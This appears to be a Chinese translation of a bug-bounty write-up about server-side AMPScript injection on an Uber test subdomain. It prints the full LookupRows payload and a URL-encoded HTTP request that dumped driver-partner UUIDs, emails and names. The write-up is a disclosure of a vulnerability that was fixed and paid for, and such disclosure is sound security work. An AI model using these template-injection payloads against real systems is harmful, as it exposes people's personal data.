通过AMPScript 来收集Uber的用户数据

翻译自:http://blog.assetnote.io/bug-bounty/2019/01/14/gaining-access-to-ubers-user-data-through-ampscript-evaluation/?tdsourcetag=s_pcqq_aiomsg
翻译:聂心明

现代社会和基础建设管理实践都在快节奏,不断的发展着。在快速的发展和扩张中,在快速的发展和拓张之中,新的财富大陆被发现,之后就会在全球市场中快速传播开来。而已存在的经济领域则依然保持着快速的发展。

想要跟上攻击面的发展,这件事简直太困难了。单单从应用和系统的角度来看安全。传统的时间点和静态的安全方法根本无法跟得上这样的变化。在动态的环境中主动的发现威胁也似乎是一件不可能的任务。

仅仅有一种方式去处理这样的问题,这就是将安全评估的方法转换为可持续性的资产意识。当我们通过Assetnote’s Continuous安全平台 的发现大量的攻击面时,我们常常发现基础设施的改变会导致大量新的和未被发现的漏洞。

在这个例子中,我们通过Assetnote’s Continuous安全平台发现了Uber的一个子域名,这个子域名被隐藏的很深:exacttarget-web-hook.uber.com.

很长的一段时间,这个子域名都会返回令人感到厌烦的“Not Found”这个错误,这个页面是由Express.js生成的。

可是,突然有一天,这个子域名成为了Uber用来测试个性化消息系统的服务器。

第一眼看上去,这个应用就像一个为了测试用户个性化消息的api控制台一样。我们尝试用这个控制台提供的“Test Contact Key”,但是发现这个api不能正常工作。经过一些尝试之后,我发现,contactKey这个参数需要一个已经过身份验证的UUID,而不是页面上提供的UUID。我登录uber后,从 https://riders.uber.com/profile 网页源代码中拿到了账户的UUID。

把我们Uber账户中的UUID放入contactKey这个参数中,然后我们给那个preview这个api发送请求。

GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=&business_unit= HTTP/1.1
Host: exacttarget-web-hook.uber.com
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: */*
DNT: 1
Referer: https://exacttarget-web-hook.uber.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8

在这篇博客前面的截图我就展示了给preview端发送消息的例子

%%[
SET @firstName = LOOKUP('driver_partners', 'firstname', 'partner_uuid', partner_uuid)
]%%
Hi there I'm %%=v(@firstName)=%% and I created this tool.

从语法上和子域名的名称exacttarget-web-hook来看,我意识到上面的代码其实是AMPScript

Salesforce的云市场上提供AMPScript这种脚本语言,这种语言可以被嵌入到HTML邮件中,文本邮件中,加载页中和sms消息中,目的是给不同的用户展示不同的内容。AMPScript使用ExactTarget开发的,在2013年被Salesforce收购。

在api控制台上使用AMPScript的示例脚本总是失败,所以我们就开始调查是否真的能够执行AMPScript脚本。我们很快的发现可以利用HTTPGet这个函数来发送一段请求,并且可以返回数据报文的内容。

太好了,我们能够直接执行AMPScript。可是,从上面的截图可以看出,执行HTTPGet这个函数的服务器不是Uber的服务器,而是AS22606 ExactTarget, Inc这个服务器。

为了演示这个漏洞的影响。我们从data extension 中的driver_partners中提取用户的用户数据。data extension 是一种数据库的表,可以通过AMPScript’s Data Extension functions来访问到其中的数据。

通过查询AMPScript关于 LookupRows这个函数的描述,我们能够构造一段AMPScript脚本去做下列的事情:

  1. 在data extension中搜索firstname为Shubs的所有数据
  2. 在数组中存储这些数据
  3. 遍历数据把数据打印出来

下面是最终利用的脚本:

%%[
SET @prefArray = LookupRows('driver_partners', 'firstname', 'Shubs')
SET @rCount = RowCount(@prefArray)
FOR @i = 1 TO @rCount DO
	SET @Row = Row(@prefArray, @i)
	SET @ID = Field(@Row, 1)
	SET @UUID = Field(@Row, 2)
	SET @joinDate = Field(@Row, 3)
	SET @email = Field(@Row, 4)
	SET @firstName = Field(@Row, 5)
]%%
	%%=V(@UUID)=%%
	%%=V(@joinDate)=%%
	%%=V(@email)=%%
	%%=V(@firstName)=%%
%%[
NEXT @i
]%%

当我把上面这个脚本发送给preview这个api后,服务器返回了所有名字为Shubs的UUID,注册时间,邮箱地址和名字

下面是发给preview这个api的请求数据:

GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=%25%25%5b%0d%0a%53%45%54%20%40%70%72%65%66%41%72%72%61%79%20%3d%20%4c%6f%6f%6b%75%70%52%6f%77%73%28%27%64%72%69%76%65%72%5f%70%61%72%74%6e%65%72%73%27%2c%20%27%66%69%72%73%74%6e%61%6d%65%27%2c%20%27%53%68%75%62%73%27%29%0d%0a%53%45%54%20%40%72%43%6f%75%6e%74%20%3d%20%52%6f%77%43%6f%75%6e%74%28%40%70%72%65%66%41%72%72%61%79%29%0d%0a%46%4f%52%20%40%69%20%3d%20%31%20%54%4f%20%40%72%43%6f%75%6e%74%20%44%4f%0d%0a%09%53%45%54%20%40%52%6f%77%20%3d%20%52%6f%77%28%40%70%72%65%66%41%72%72%61%79%2c%20%40%69%29%0d%0a%09%53%45%54%20%40%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%29%0d%0a%09%53%45%54%20%40%55%55%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%32%29%0d%0a%09%53%45%54%20%40%6a%6f%69%6e%44%61%74%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%33%29%0d%0a%09%53%45%54%20%40%65%6d%61%69%6c%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%34%29%0d%0a%09%53%45%54%20%40%66%69%72%73%74%4e%61%6d%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%35%29%0d%0a%09%53%45%54%20%40%75%6e%6b%6e%6f%77%6e%31%30%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%30%29%0d%0a%5d%25%25%0d%0a%09%25%25%3d%56%28%40%55%55%49%44%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%6a%6f%69%6e%44%61%74%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%65%6d%61%69%6c%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%66%69%72%73%74%4e%61%6d%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%75%6e%6b%6e%6f%77%6e%31%30%29%3d%25%25%0d%0a%25%25%5b%0d%0a%4e%45%58%54%20%40%69%0d%0a%5d%25%25&business_unit= HTTP/1.1
Host: exacttarget-web-hook.uber.com
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: */*
DNT: 1
Referer: https://exacttarget-web-hook.uber.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8

返回报文(UUID和邮箱地址已经被打码)

通过上面的截图,我们可以看到许多名字为Shubs的用户信息已经被返回(上面的截图已经被打码了,只像大家展示测试数据)。攻击者可以在消息中构造特殊AMPScript脚本去获取数据或者在 Uber中通过搜索名字的方式去查询指定人的UUID和邮箱地址。

我在2017年12月13日发现了这个漏洞,厂商在12月15日就修复了这个问题,并且在12月28日给我支付了赏金。

作为由HackerOne举办的Hack the World活动的一部分,我在活动期间获得了“最有影响力的漏洞”,并且获得了$20,000的奖赏。最终这个漏洞给我的奖金为:$23,000。
感谢Uber 和HackerOne。在这个漏洞上和Uber进行合作是一次非常愉快的经历。

如果你的公司或者组织对于Assetnote’s Continuous安全平台非常感兴趣的话,欢迎通过下面链接来联系我们
https://assetnote.io/#signup

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Uber纽约市乘车数据的可视化分析与设计是一项重要的任务,它可以帮助我们更好地理解乘客和司机的行为模式以及整个交通网络的运行情况。以下是针对该主题的300字中文回答: 在Uber纽约市乘车数据的可视化分析与设计方面,首先需要收集和整理大量的数据。这些数据包括乘客和司机的行程起止地点、乘车时间、乘车距离、费用等信息。然后,利用数据分析工具,对这些数据进行统计和分析,以提取有用的信息。 一种常见的可视化分析方式是通过地图展示乘车数据的分布情况。可以利用纽约市的地图底图,将乘车起止地点标记在地图上,采用不同的颜色、形状或大小来表示乘车次数或乘车密度。这样一来,我们可以直观地看到乘车热点和流量分布的情况,从而帮助我们优化乘车服务的分配和调度。 除了地图展示,还可以通过折线图或柱状图展示乘车数据的时间变化趋势。可以按照小时、日期、星期几等时间维度,统计乘车次数或乘车费用的变化情况。这样可以发现乘车高峰和低谷的时段,为乘车服务的优化提供数据支持。 另外,还可以对乘车数据进行空间分析,比如利用热力图展示不同地区的乘车活跃度,或者利用流向图展示不同地区之间的乘车流量。这些空间分析可以帮助我们发现交通拥堵的瓶颈区域,或者调整司机派单策略,提高乘车效率。 总之,Uber纽约市乘车数据的可视化分析与设计是一项复杂而有益的工作。通过合理运用可视化工具和技术,可以帮助我们更好地理解和优化乘车服务,提高城市的出行效率。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值